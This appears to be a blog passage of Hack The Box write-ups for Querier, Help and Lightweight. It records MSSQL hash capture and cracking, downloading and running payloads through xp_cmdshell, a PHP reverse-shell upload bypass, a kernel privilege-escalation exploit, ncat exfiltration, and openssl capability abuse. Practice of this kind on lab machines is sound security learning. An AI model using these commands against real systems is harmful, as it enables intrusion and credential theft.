[-] ERROR(QUERIER): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.

No hits sadly.

Oh wait, I need to define the port

xp_cmdshell {powershell -command "Invoke-WebRequest"}
[-] ERROR(QUERIER): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.

Again, no hits. I don’t think it is executing. So, maybe one of the other help items would help.

Having a go with sp_start_job didn’t achieve much.

However, I then tried !

! ping

With the result of:

So, shall we see if we can do any sort of webrequest.

SQL> ! powershell -command "Invoke-webRequest"
sh: 1: powershell: not found


However, do we need a shell? Can we see what user folders there are then just read the flag?

! dir C:\Users

Sadly, no such file or directory.
It’s almost as if, we are in a sort of mssql docker. It’s a local shell, so it will do things within the SQL instance, but can’t access the underlying OS.

This might not be the best way to do this.

However, using sp_start_job or ! maybe we can up my permissions within the sql database, so I can then enable_xp_cmdshell.

So let’s back up slightly, and see what permissions my user has. I realised at this point I completely forgot what user I was! So I did


We are the user reporting. Of course I knew that, but this box has fryed me and we don’t even have user yet!

Finding out our current permissions is also straight forward:

SELECT * FROM fn_my_permissions(NULL, 'SERVER');

We have 2 permissions:


Ok, cool, so we know we don’t have permission to enable cmdshell. So upping our permissions is next.

I’ve also just released that using the ! does a local shell command, so that’s a command on my kali box. Not sure why I’d need that, but maybe it will be obvious.

So let’s see what permissions other users have, what other users are there? Earlier we did:

SELECT name FROM master..syslogins

Found 2 results, us and “sa”

Lets see if we can find the permissions for sa.

Well this has turned out tricky, the previous command uses “fn_my_permissions” and I can’t find another method without using the GUI that we don’t have access to.

There is of course another way, which was used on Giddy. Can I get access as a different user?

I say “of course” as if I thought of it. I’d never have got this if it wasn’t for hints on the forum!

The theory behind this is we use something called xp_dirtree which allows a connection out of the mssql database back to our host. Then using responder we capture the NTLM hash and crack it. That’s how it worked in giddy, let’s see if we can achieve anything!

So, firstly looking at this cheat sheet:

We have the out of band retrival. The code from the site for this is changed slightly and we end up with:

declare @q varchar(200) set @q='\\\Hello' exec master.dbo.xp_dirtree @q;

What this is doing is setting @q to be a string with max characters of 200.

Then we set q to our box IP with any folder

Then we execute the dirtree command with the function of q.

At the same time, we set up a nc on port 445 (smb port).

Let’s run the command and we get:

DATA! Ok, what this means is we have the SQL database sending data to our kali host.

Now, the way xp_dirtree works, is it exectues at the system level, not the user level. So whoever the system user is, runs the command. So using a tool called responder, we can get the NTLM hash of that user!

So starting responder on our VPN interface

responder -I tun0

We run the same command again

We have a new user QUERIER\mssql-svc and a hash.

Let’s see if we can crack this hash. Usually I would go to haskiller or hashcracker websites. But today, I feel I should try and use hashcat as I’m sure there will be a point where I need to crack hashes locally.

We know it is NTLMv2, so lets copy that entire hash (including the username) into a new file.

Then looking at hashcat help we can grep for NTLM

root@oblivion:~/Documents/htb/Querier# hashcat -h | grep -i ntlm
5500 | NetNTLMv1 | Network Protocols
5500 | NetNTLMv1+ESS | Network Protocols
5600 | NetNTLMv2 | Network Protocols
1000 | NTLM | Operating Systems

So we know we want 5600.

Our syntax with then be

hashcat -m 5600 mssql-svc.hash /usr/share/wordlists/rockyou.txt --force

The force is due to it being a VM. It’s better to run it on a bare metal with a decent graphics card but we have what we have.

Even so, in a VM it took maybe 20 seconds and we have a result

So we have a password: corporate568

Let’s try using the creds to log into the SQL server:

./ -windows-auth QUERIER/mssql-svc@

And we are in!

Now, shall we try the same commands as earlier!


This time we get a better result!

So let’s try a basic whoami.

It works! A few more commands and look what we have!

So exciting! It’s been days but it’s been well worthwhile!

Getting a Shell

Let’s see if we can get a reverse shell! Let’s use PoshC2, it might be a bit extreme, but why not!

(I missed a step, we need to edit the config file — see below for details)

Firstly, let’s create our PoshC2 server

python /opt/PoshC2_Python/

A whole heap of payloads are created, but we will just try and use the exection via Command Prompt

Before we use that though, we need to start the implant handler. In a new window we run:

python /opt/PoshC2_Python/

Going back into the MSSQL database and pasting the code, ended up in a massive heap of errors. So that was a no go.

Instead, we will use the .hta file which we will upload to our webserver.

First we copy the exploit

cp /opt/PoshC2_Project/payloads/Launcher.hta .

Then host it on a python webserver

python -m SimpleHTTPServer 9005

On the SQL server we then try to invoke the web-request

xp_cmdshell powershell -command "Invoke-WebRequest"

We get a hit on our webserver, that’s good news! Unfortunatly our implant doesn’t seem to work.

This is because we didn’t change the config before we created the C2Server so it’s all pointing at the wrong place

We need to edit this config file /opt/PoshC2_Python/ to add in our IP

So we then re-create the Server and copy the new hta file across.

Re-running the command on the SQL Server. We get another hit. Sadly, no shell.

Let’s try downloading then running a .exe.

cp /opt/PoshC2_Project/payloads/Sharp.exe .

We want to download this to the temp directory, then run it. So to download it we need to do

xp_cmdshell powershell -command "Invoke-WebRequest -Uri "" -OutFile "C:\temp\yekki.exe""

Ooooh, there it is!

Let’s run it!

xp_cmdshell C:\temp\yekki.exe

Again, it doesn’t appear to create an Implant. This is very odd!

Instead of pounding my head there, we can do some basic recon.

Let’s learn about the box. Firstly, what is the OS? Well we can use systeminfo which spits out a whole heap of stuff. Instead I found a findstr that works well with it:

xp_cmdshell systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

We are looking at Server 2019 Standard. Version 10.0.17763.  This is new, it’s not going to be a OS exploit, so must be either a program or a misconfiguration.

Looking at ipconfig, there is only the 1 IP address.

Next we see what is running:

xp_cmdshell tasklist

There is a lot running, including a bunch of powershells and yekki.exe. I wonder why our reverse shells didn’t work. Firewall rules maybe?

Other than those, I can’t see anything that’s all too exciting yet!

Next up is running services:

xp_cmdshell net start

Again, nothing really stands out there!

I have done a whole bunch of enumeration and not found anything that has stood out.

I know there are a few tools to help with this, one of which is PowerUp. Let’s try that. We need to get it from it’s git repo

xp_cmdshell powershell -command "Invoke-WebRequest -Uri "" -OutFile "C:\temp\Mushrooms.ps1""

---This is where I stopped. I think I got tired and meant to come back to it, unfortunately I never did and now it's been retired!---

After watching ippsecs video, if I had run powerup, I would have got the answer and it was an easy step from there to the root flag! Never mind eh!

Hack The Box – Help!

Running nmap get 3 results:

Looking at the webpage on port 80:

Looks like nothing is there, just the default. Let’s add the ip and hostname (help.htb) into our hosts file and see if anything changes. It does not, no clever host routing.

Let’s run a dirb on it anyway!

While that is running, lets look at port 3000.

Very cryptic.While we think about that, let’s run a dirb on this too.

It looks like some sort of JSON/Javascript applet. We need to work out a query, how do we even submit a JSON query? That is something we will have to find out!

Looks like we got some results from the dirb on port 80:

Let’s go take a look at Support.

So that’s a helpdeskz. What would be great is to find a version. Looking at their github page:

We see that there might be a readme.html file.

Yes, it’s there!! Looks like the version is 1.0.2.

There doesn’t seem to be a changelog, so I can’t see what happened in v1.0.1.

Looking through the readme, we find the way to set this up. This is found at /support/?v=staff

There are now 2 areas that allow us to login, we just need some creds to try out! Maybe these are the ones we need to get from port 3000.

Our dirb on port 3000 came back with nothing. Looks like we have to work out how to make that request.

First of all lets capture the page in Burp and see if we get any options.

Well that’s not a whole lot of information is it!

Let’s instead begin with what we know. We knows its some sort of javascript. The nmap scan tells us its Node.js Express framework. This might be enough, a quick google shows a few results on what we can try. So let’s give attempt #1 a go. (I expect there will be many attempts)

What I think we need to do, is make requests, until something pops, so first up:"admin"

Ok, we get a reply

Cannot GET /username

Is that good? Honestly. Not sure. But let’s think about what the message was:

"Hi Shiv, To get access please find the credentials with given query"

I guess we are making a query, we just have absolutely 0 idea of any parameters.

Trying a few obvious ones:

  • admin
  • index
  • helpdesk
  • helpdeskz
  • help
  • hackthebox

All of these come back with the same “Cannot GET /<variable>”

The only thing we did have earlier, was the If-None-Match which matches the ETag when we load the webpage.

Guess what. Cannot GET!

Ok, so I am completely like 100% baffled at what the heck is going on here. So maybe lets park this.

Heading back over to port 80, can be do anything here? SQLInjection maybe?

Looking at the site we have things like this:

Let’s put these through SQLMap and see if anything pops.

sqlmap -u ""


sqlmap -u ""

Again SQLMap comes back with not looking to be injectable.

I’m still a bit lost and feel that we should use port 3000, but maybe that’s just a horrific rabbithole? Who knows. I’m sure ippsec will tell us!

I remembered a tool that I haven’t used yet, good old searchsploit. Looking at HelpDeskZ we get:

Ok, let’s take a look at this.

It looks like we can upload .php-files. The exploit gives us the steps to reproduce, so let’s try that.

Steps to reproduce:


Enter anything in the mandatory fields, attach your phpshell.php, solve the captcha and submit your ticket.

So, we head over and go to submit a ticket, we fill in all the mandatory fields:

We now need to upload a file. Lets hop over to pentestmonkey reverse shell cheat sheets (

Download the file and untar it:

tar -zxvf php-reverse-shell-1.0.tar.gz

Now we move it into our working folder and edit the columns we need to:

These options are near the top of the script!

I also changed the name from reverse.php to yekki.php. This is in case anyone else is doing the same thing, I don’t want to give them free shells.

Before we upload this, let’s get a listener on port 9005

nc -nvlp 9005

We will leave that running on a separate tmux tab and submit the ticket.

This returned an error:

This means that the program is doing some sort of extension checking on our uploads, maybe.

Let’s test this theory by changing it to .jpg and trying to upload it again.

That time our ticket submitted.

I tried running the script anyway and it errored out all over the place. So we now have 2 things to work on!

First, let’s try and sort out this file upload. Heading over to github, let’s clone helpdeskz and see if we can work out what checks it is doing on file uploads.

Doing a grep on the directory, we find that all the html sites appear to be in views/client

There are 3 for submit tickets, let’s go take a look at each of these.

None of these seem to show any extension banning. Let’s head to root and do a grep for the error message

grep -iR "file is not allowed"

We get a hit:

Opening this we get:

$LANG['FILE_NOT_ALLOWED'] = 'File is not allowed.';

So we need to find the first part of this in the code, which then goes into each language page to get the response in the correct language for that set up.

We get 2 more hits:

controllers/submit_ticket_controller.php: $error_msg = $LANG['FILE_NOT_ALLOWED'];
controllers/view_tickets_controller.php: $error_msg = $LANG['FILE_NOT_ALLOWED'];

Lets take a look at the submit tickets controller first.

This is long, so I’ll only include the relevant part:

Case ‘2’ looks to do something within the file verification module. It still doesn’t appear to give us a list of banned extensions.

After a bit more hunting, I found the functions.php script. This has a bit more information:

Within the install file, we have a list to go into the file_types table:

So php is on that list, but as is jpg. So let’s try a zip file and see what happens. We again get file is not allowed.

Trying a few more, we keep getting the same result. So, this makes sense that it is the file exclusion list.

So how can we get around this?

Oddly, jpg worked didn’t it? Let’s double check that.

It does, but jpg is in our exclusions list. Let’s try jpeg. That also worked. How strange. They are both on our restricted list.

So, let’s see if we can find out jpg at all. Again looking at the program, I think any uploads would go to /uploads/tickets

Going to this on a browser just takes me back to the main page. Not ideal.

Now that we know we are interested in Support, let’s run another dirb on this:

dirb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Maybe this will help us out a little bit.

While that was running, I took another look at the source code and found a few things:

$uploaddir = UPLOAD_DIR.'tickets/';

We know now the upload directory, which will be useful later if we can exploit this.

$filename = md5($_FILES['attachment']['name'].time()).".".$ext;

This one is interesting, it does something with .time() which is current time. Then adds the $ext.

So when we run our exploit, we will have to tell it that the file name will include the current time.

Really what we need to work out is extension bypassing. Googling that brings up an interesting idea, using double extensions. We can assume the check is being done on everything from <filename>.extension so it’s catching .php. What if we tried adding another extension before that, so a .jpg.php

The file would still be .php as thats the last extension, but if the check only checks the first one, we might get lucky.

Lets copy our file and make it yekki.jpg.php (we know jpg is allowed, as we did those checks earlier).

We continue to get file is not allowed. If we change it round, so yekki.php.jpg

Success! So the filter was checking on the last extension.

We also know that the code rewrites the “.$ext” when it renames the file, so fingers crossed this will use the first one, as in .php.

Let’s give the script a run and see if we get any success.

It errors out with file not found. I’m not surprised, let’s be honest we really don’t understand what this is doing.

Failing to install a local copy of helpdeskz

What’s the best way to learn how something works? Having all the information. We can do that, by setting up our own instance and running the same things and seeing what the output is.

Is it annoying? Yes. Will it get us the answer and be worth the time? Hopefully!

Now, what I don’t really want, is an instance of helpdeskz installed on my kali system, let’s boot up a temporary Ubuntu system and version 1.0.2 of helpdeskz to mirror what we are seeing on the box.

So first off, we clone the Helpdeskz package from git hub again

git clone

I’ve got apache running, so I go the www folder and make a new directory called support

cd /var/www/html

mkdir support

cp /home/yekki/HelpdeskZ-1.0/* /var/www/html/support

We need to make the file owned and edited by wwwdata so that Apache can do what it needs to.

sudo chown -R www-data html/

sudo chgrp -R www-data html/

Now we open up a browser and go to

We get the install prompt:

We follow the installer, adding in database names and username and passwords:

We get redirected to /install/install.php which unfortunately stays blank!

For some reason the installer didn’t install. I could troubleshoot this, but it could take hours and to be honest, I really can’t be bothered.

Faffing with Python

So, let’s just go over what we know. What errors we have had.

One big question, do we even know if the script is getting to the webpage? The output we get is some rubbish then it stalls.

So let’s add some comments in after each step to make sure that the script is actually completing each steps.

To print a line in python we use:

print 'text'

So I’ve changed the top of the script to:

print 'starting' 
import hashlib
print 'hashlib imported' 
import time
print 'time imported' 
import sys
print 'sys imported' 
import requests
print 'requests imported'

Let’s see if all these get imported properly.

Well that is unexpected, but at least our no such file or directory might make sense.

So a bit more googling for a classic Hello World python program. For python3 we need to use:

print ("Text")

Let’s try this and we will run it with python3 with all the prints changed to print (“text”)

Ok, slightly closer maybe! Different error at least.

Let’s re-get the unedited exploit and run it with python3 just off the bat! An error:

 File "", line 36
print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'
SyntaxError: Missing parentheses in call to 'print'. Did you mean print('Helpdeskz v1.0.2 - Unauthenticated shell upload exploit')?

So, whatever I try here. I get python errors. For fucks sake!

So, taking a new version of the exploit, putting () round all of the print options:

Helpdeskz v1.0.2 - Unauthenticated shell upload exploit
Traceback (most recent call last):
File "", line 49, in <module>
md5hash = hashlib.md5(plaintext).hexdigest()
TypeError: Unicode-objects must be encoded before hashing

So line 49 is creating the md5hash.

Next step, we tried the version on our kali box. Maybe a fresh download would work. Heading over to google we get the code and put it into a new file

Again, let’s add some () around all the prints.

Running it in python3 again errors. Flippin heck!

Through anger, I tried running it through python as standard again:

Success! It didn’t find anything but that doesn’t matter. The script ran through!

Back on Track!

Let’s try again with our .jpg image. See if we can locate where the right upload folder is. Let’s start with just /support/


Let’s add in support/uploads/


Let’s add in support/uploads/tickets/

Still no good. Fuck!

One of these must be right! Thinking about it though, the exploit script looks for .php files doesn’t it!

 url = helpdeskzBaseUrl+md5hash+'.php'

What if we change this, to look for a .png file?

url = helpdeskzBaseUrl+md5hash+'.png'


So we know for a fact, that the files get uploaded to /support/uploads/tickets/

It’s also important that in our directory when running the script, we add the following “/” otherwise it doesn’t work!

So, let’s try uploading a php reverse shell and see what we get! We still get the File is not allowed error message. Let’s try it anyway and deal with extensions later if needed.

First of all, go back into the script and change the extension back to .php

python yekki.php

Also get your listener running!

nc -nvlp 9005

OMG! We are in! This is so exciting!

So what have we really learnt up until this point?! Check that scripts work, if the error message isn’t in the script (which I knew early on) don’t just keep trying things. Stop think about it, do something to check where the script is getting to and what is happening!

Anyway, to continue.

Let’s get a better shell:

python -c 'import pty;pty.spawn("/bin/bash")'

Now lets head over to the /home directory. There is only 1 user, help, which is who we are.

A quick ls and look at that:

A user flag! Yes!

If it wasn’t for the python issues, we would have got here pretty quickly. It was just a straight CVE. Working out where uploads go, ignoring error messages (still odd) and we were there.

Priv Esc

Shall we have a go for root?!

First, let’s get LinEnum onto the box and running.

Using the python SimpleHTTPServer to host it on my box:

python -m SimpleHTTPServer 8005

Then a wget to download it on the remote box


Let’s give it executable powers

chmod +x

And let it run.

Looks like we are an admin user. Also we might be able to sudo

So, let’s see if we can sudo:

We can, but we need a password.

Shall we see if we can find one, maybe from what was on port 3000. Or from the database that was needed to be set up for helpdeskz.

From our earlier faffing with trying to install it, we learnt that most things are in /support/includes/config.php

Looking there:

Shall we try helpme as a sudo password.

Sadly not.

As a bit of an aside, the program really doesn’t stop .php files from being uploaded:

Anyway, back to root hunting.

So we have a database username and password.Let’s go into there and see what we can find.

mysql -u root -p

Enter the password and we have a few databases

We know the database is called support. So let’s jump in there.

USE support;

We get a list of the tables


Under users are the users that have been created, so I appear there a few times:

This doesn’t seem too useful, however the staff table might be:

There is an admin password. Let’s see if we can crack that.

Going to we crack the hash.

The password is Welcome1

Let’s try that on the staff login on helpdeskz. It worked!

So, let’s try

su -

The password Welcome1 doesn’t work for that. Annoying.

Also it’s just dawned on me, I didn’t even try to brute force this login area, which would have been done easily with rockyou.

Anyway, back to priv esc.

The box got reset and I wondered if ssh would work with the Welcome1 password.

It did. we have ssh access that’s useful.

So we know 100% that the password for help is Welcome1. Unfortunately we aren’t in the sudoers group.

Looking in the home directory, there is bash_history. Let’s take a look in there:

This looks like the set up commands. Touching bash_history is an odd one.

The 2 commands, su then what could be a password look interesting. Let’s try that

Authentication Failed.

Ok, re-running LinEnum for any more clues, as I’m not getting too far here. This time I ran it with the flag -t for thorough tests.

Still not a huge amount that I understand to be vulnerable. Let’s get the linux-exploit-suggester script ( )

Running this, we get some results. One of the suggestions is dirtycow & dirtycow2 another is eBPF_verifier.

Before I start running down these methods, let’s see the really look at this Ubuntu version.

lsb_release -a

Distributor ID: Ubuntu
Description: Ubuntu 16.04.5 LTS
Release: 16.04
Codename: xenial
Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

So, if we google those build versions, both and 16.04.5 with local priv esc. The top result is this one:

We download this onto our box and move it across using SimpleHTTPServer as usual.

Then we need to rename it to be .c then compile is using:

gcc 44298.c –o yekki

This has created an executable called yekki. We run this and:

A quick whoami confirms that we are root.

Literally no idea what it does, some sort of buffer overflow would be the assumption. I will try to look into this at a later date!

We can then get the root flag:

Well. What a journey!

This box was pretty straightforward, if it hadn’t been for the python issues, this would have been quick. However as it was, it took a while, but we got both user and root.

For root, always remember to check the basic things, I’m pretty sure early on we noted it was an older version of Ubuntu, which led us quickly(ish) to the priv esc!

Hack The Box – Lightweight

I’ve just found out that Lightweight is being retired on Saturday. It’s now Wednesday at around 10:30pm. I have work tomorrow and Friday and am out Friday evening all weekend.

So we get have a very short time for this!

Let’s dig it!

First, as always lets run an nmap:

nmap -sC -sV -p- -O -oA nmap/Lightweight

We get a few good results:

3 ports are open, SSH on 22, HTTP on 80 and LDAP on 389.

First lets go and take a look at the webpage.

The site immediately tells us it is protected against brute forcing. Whereas I’d normally get dirbuster running straight away, I’m not going to in this instance.

The user page gives us some good information. An SSH session has been created for us with our username and password as our IP address.

So, let’s connect in via SSH.


We connect with the right password. As requested, first step is change our password. There is some password restrictions, it can’t be shorter than 7 characters and can’t be based on a dictionary word. This might come in useful later. If anyone is interested, my password changed to “ReadMyBlog”

So first, what type of linux is this:

cat /etc/os-release

It is a CentOS Linux 7 (Core) box.

Next let’s see what users we have on this box. Looking at /etc/passwd

ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
libstoragemgmt:x:998:997:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
ldap:x:55:55:OpenLDAP server:/var/lib/ldap:/sbin/nologin
saslauth:x:996:76:Saslauthd user:/run/saslauthd:/sbin/nologin

Interesting, we have ldapuser1 and ldapuser2. Not unexpectedly we don’t have permission to view their home directories.

LDAP is the Lightweight Directory Access Protocol (read Lightweight, goes nicely with the box name!) to allow access to directory services. It’s similar to a database but with more descriptive, attribute based information.

So lets have a dig around and see if we can find any ldap client on the box:

locate *ldap*

We get a few results and it looks like openldap is installed within /etc/

What is in there! There is an ldap.conf file with a very interesting line:

TLS_CACERTDIR /etc/openldap/certs

In that folder are a few files that are readable by all:

Doing a string on those db’s didn’t produce too much.

Let’s have a quick scout round elsewhere and see what else we can find.

In the /etc directory there is a ssh folder, looking in there has some interesting results:

So we can read the config and public keys. Let’s get those across to our host and try them for both users ldap1 and ldap2. (No I don’t think it will work, but a quick win is a quick win).

A quick try to add my user to the ssh_keys group sadly didn’t work!

In news that will shock absolutely no-one. The keys did not work for either ldapuser1 or ldapuser2 (or root, but that was pushing it)!

I think the OpenLDAP is the way to do this, but before we go and learn a bunch about that. Let’s quickly bring over pspy64 so we can see all processes and LinEnum so we know what we are really looking at.

Hosting a SimpleHTTPServer on my host box:

python -m SimpleHTTPServer 8001

I wget on lightweight into my home directory.



Making both those executable, let’s look at pspy64s first, to see what’s running. Well that just errors, forever. Not ideal. Let’s try LinEnum first.

Nothing of huge interest comes up. Maybe it’s time to dig into OpenLDAP!

The thing that keeps bugging me, is those .db files. Let’s go take another look over there!

Doing a quick strings on each one, cert8.db:

OpenLDAP Server
h hC
6^ S
OpenLDAP Server
OpenLDAP Server

In key3.db:

{a      '
CP      mU
h hC

In cert8.db:

OpenLDAP Server
h hC
6^      S
OpenLDAP Server
OpenLDAP Server

Ok, I’m not seeing anything here, other than the ldap server is lightweight.htb which isn’t a surprise.

A quick google shows some LDAP enumeration tools, nmap has one called “ldap-search” as part of their script engine. Let’s try this out!

nmap -p 389 --script ldap-search

This gives a lot of output:

The two really interesting things, are that we have ldapuser1 with a password hash of:

userPassword: {crypt}$6$3qx0SD9x$Q9y1lyQaFKpxqkGqKAjLOWd33Nwdhj.l4MzV7vTnfkE/g/Z/7N5ZbdEQWfup2lSdASImHtQFh6zMo41ZA./44/

And ldapuser2 with a password hash of:

userPassword: {crypt}$6$xJxPjT0M$1m8kM00CJYCAgzT4qz8TQwyGFQvk3boaymuAmMZCOfm3OA7OKunLZZlqytUp2dun509OBE2xwX/QEfjdRQzgn1

However these passwords are salted and we do not know what the salt is. This means that cracking these becomes insanely difficult and not the route that I think we need to go here.

I’ve looked round this box. I’ve tried doing netstats, tcpdumps and other enumeration techniques and I am just completley missing whatever it is I’m looking for! This is an absolute 100% fail right now!

Looking round a bit further, under /run there is another openldap folder.

This contains:


The PID shows the PID number, which is 1355.

The args file shows slightly more:

/usr/sbin/slapd -u ldap -h ldapi:/// ldap:///

What this tells us, is the user running ldap is called “ldap” not “ldapuser1” or “ldapsuser2”

Ok, I’ve given up and read some hints off the forum. The hint to try and use tcpdump to listen to the LDAP traffic.

So I have 2 TCPdumps started:

tcpdump -i ens33 port 389

tcpdump -i lo port 389

The other interesting thing I fond earlier, was that LDAP was also doing things locally over port 33888, so I edit my local tcpdump to listen for that too.

tcpdump -i lo port 389 or port 33888

So this shows me some traffic is travelling across the box:

This is coming to and from ldap, so that’s good. It might be just what we need. However, we need the actual data, not just the fact there is traffic.

tcpdump -i lo port 389 or port 33888 -s0 -A

While I was running TCPDump I carried on clicking around on the website. Not sure if it helped, but….

TCPDump has come up with some goods!

So along with the uid of ldapuser2. We get a code at the end:


Is this an SSH password? It reads a bit like an MD5 hash. I headed over to and gave it a go but no luck. Let’s see if it’s an SSH password.

Tried this and it didn’t work, but hold on. I’m already on the box. I can change user easier.

su ldapuser2

Retrying the password and boom!

Just a small note here. I would never have got this without hints from the forum. I hadn’t really used TCPDump before, so this was a good learning experience and only took ~2 hours! (Yes it’s 00:35 and yes I still have work in the morning!)

Right, it’s time to do some searching. Over to the home directory for ldapuser2 and boom. We have a user flag!

So in this directory, we have some interesting PDFs that I’d like but what peaks my interest most in the backup.7z. That could have anything in!

I’ve previously tried to do a SimpleHTTPServer on this box and it just hasn’t worked! So we need to think of another method. SCP is what I normally use but I have GUIs and tools, not done it via the command line before. We want to grab files from a remote machine and put them on our machine so we use:

scp ldapuser2@ /root/Documents/htb/Lightweight/SCP/

We get prompted for the password and bugger. It doesn’t work. Just like it didn’t for ssh’ing!

Let’s go more basic, we can see that ncat is installed. So let’s start a listener on our host machine to direct all received data into backup.7z:

nc -nvlp 8005 > backup.7z

On the remote machine lets send the data:

./ncat -nv 8005 < backup.7z

This worked and the 7z file has moved across.

I had to get ncat onto the box, luckily my good friend zephrfish has got a git-repo of compiled tools which are available here:

Let’s try to open this. To do this, we already have p7zip installed

p7zip x backup.7z

Oh bugger!

Let’s try user2’s password. No good. Although it does leak some data of the files we have:

ERROR: Data Error in encrypted file. Wrong password? : index.php
ERROR: Data Error in encrypted file. Wrong password? : info.php
ERROR: Data Error in encrypted file. Wrong password? : reset.php
ERROR: Data Error in encrypted file. Wrong password? : status.php
ERROR: Data Error in encrypted file. Wrong password? : user.php

These are the same as are in the web directory that we couldn’t read earlier as they were owned by root with root privileges earlier! I feel these might have a password in!

So we need to crack this file, luckily John the Ripper has a 7zip2john script.

This took me a bit of time to get working, I ended up downloading this entire git repo:

I copied the Backup into the /John/run folder and ran:

./ Backup.7z


Backup.7z : 7-Zip files without header encryption are *not* supported yet!

Now I’m stuck. We have 2 options, either the error is correct and we can’t get a hash out of the 7z file. Or the netcat transfer of the file borked it somehow.

To see if my exfil didn’t work properly, I copied across the across to Lightweight, using the simpleHTTPServer and wget.

python -m SimpleHTTPServer 8001


Run the script and exact same result. So we can’t get a hash out of the 7zip file. So we have to bruteforce the 7z file another way.

Luckily my colleague pointed me towards this:

Downloading the repo, allowing the script to execute, copying both the 7z file and rockyou wordlist into the folder, we run:

./7z-BruteForce Backup.7z rockyou.txt

After leaving that for a fair while (think like ~2/3 hours)… I got no-where!

So, I found this git repo:

Downloaded this and tried running it again.

This was nicer for me, as it spammed my console, so I knew it was doing stuff!

Leaving that for a while…. well actually only about 5 minutes and boom!

So now we have the files as excepted! Rather than working through these 1 at a time, we still haven’t got access to ldapuser1, so let’s do a grep for that:

grep -iR ldapuser1 .

We have 2 results, both are within status.php page. Looking in that file, we have what we need:

Let’s try ldapuser1 with f3ca9d298a553da117442deeb6fa932d

Success! Yesss!

As always, lets hop over to the home directory and see what we have!


Normally these would be quite interesting, but I feel these are the steps we have done to get here and therefore are just rabbit holes. Let’s look elsewhere first!

So, this is a bit of a shame but in my panic and delirium of last night, looking on the forums I did read a hint for the next part. The hint was capabilities. A quick google brings up this blog:

Let’s follow this and give it a go!

The first command we run is:

getcap -r / 2>/dev/null

This will show us what programs have what capabilities. The results are in:

This makes sense as how we could run tcpdump not as root previously! Sadly however tar isn’t on the list, so we can’t just follow that blog. Also none of them have the “read” option, so using the same method but with a different tool.

Interestingly through, openssl is there as an option, creating certificates and logging on with them seems a bit of a kerfuffle.

Having a look through the capabilities manpage against what capabilities we have listed I find this:

              * Make arbitrary manipulations of process GIDs and
                supplementary GID list;
              * forge GID when passing socket credentials via UNIX domain
              * write a group ID mapping in a user namespace (see

This capability is set to “suexec” so we had best learn what that does, but first some more reading about user_namespaces is key. The document explains that:

       A process's user and group IDs can be different
       inside and outside a user namespace.  In particular, a process can
       have a normal unprivileged user ID outside a user namespace while at
       the same time having a user ID of 0 inside the namespace; in other
       words, the process has full privileges for operations inside the user
       namespace, but is unprivileged for operations outside the namespace.

To read the flag, it sounds exactly like what we want. Trying a:


It just errors with permission denied. Maybe this isn’t the route in.

Also, it bugs me that openssl is in our home directory and was listed in the capabilities search. This has niggled my brain, typical CTF rules, rather than real life engagements is coming into play here.

So, what can we do with OpenSSL? We can create certificates and log in(?). Let’s give it a go, it makes sense in my brain!

Before doing that I decided to have a very quick bit of googling for openssl and priv esc just in case I’d overlooked something obvious. What did I find, well I found me another article: – This is a bit shitty though as it’s the how to guide, they haven’t even scrubbed out ldapuser1 in one of the screengrabs and it was posted on Feb 12!! This comment is brilliant and worth sharing. Shitbag is such a great insult!

This is literally how to privesc using openssl, but I guess I have a walkthrough now…

So to start the prep we need to create a new key, that we can use later:

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

Follow the prompts, it shouldn’t really matter what you put in. We now have 2 files:



So far, this is standard usage of openssl and the way we would use it to create certificates for our SSL needs.

Then we go to the root directory:

cd /

Create a server using openssl and the keys we just created:

openssl s_server -key /home/ldapuser1/Yekki/key.pem -cert /home/ldapuser1/Yekki/cert.pem -port 9001 -HTTP

We then ssh into the box in another window and try to read some files:

curl -k ""

Using -k to skip any SSL certificate errors, this will read the root.txt file.


Error opening 'root/root.txt'
139875197392784:error:0200100D:system library:fopen:Permission denied:bss_file.c:175:fopen('root/root.txt','r')

So, this hasn’t worked. Maybe I can read the shadow file and try to crack that:

curl -k ""

Same result. Ok, so we can’t read those. How about something we do have permission to read as this user. Such as the key.pem file we just created.

curl -k ""


So we can read files off the box, but only with the same permissions that we have. Let’s try the user.txt under ldapuser2.

Again permission denied. So although this is a clever use of openSSL. We haven’t done anything clever to use the capabilities exploit we learnt about earlier. Maybe because I created everything in ldapuser1, not in an open directory like temp?

Let’s do the same method, but use /tmp like the guide did.

Same result. This is confusing, I feel we are right on the verge of copying the answers which lead us to greatness here!

So, I have no doubt you’ve realised where I’ve fucked up. Remember earlier, we found out the capabilities with get-cap and we got these results

Well, yes, it’s only the openssl binary in /home/ldapsure1 that has that capability. I’ve been doing everything with the generally installed openssl, so of course it hasn’t done what we need it to:

So, let’s try all this again, using the openssl binary in the ldapuser1 directory.

This time I did it all in the user directory to try to minimise spoilers for people! So our new server command is:

/home/ldapuser1/openssl s_server -key /home/ldapuser1/key.pem -cert /home/ldapuser1/cert.pem -port 9001 -HTTP

We make our curl request and:

Hooray, we have the root flag!

This was great. I enjoyed it! For those interested, it’s now Thursday at 18:45ish. Luckily my work rocks and I did the entire 7zip brute forcing during office hours. The perks of working at a pentest company, they don’t mind me learning!

I feel I learnt a lot here. I know understand TCPDump better and see the huge uses that it can provide. I really like that ps aux only shows the processes being run by that user, that’s a brilliant thing to implement, especially for HTB boxes!

I felt I really deserved that user flag, we worked hard, we learnt a lot!

The root, maybe slightly less, we did get a walkthrough but we still picked up some skills regarding capabilities and how they work. They are definitely on my enumeration list for future boxes!

Thanks for reading my ramblings! Now go and enjoy a 75 minute Ippsec video on the box!

PortSwigger – SQL Injection

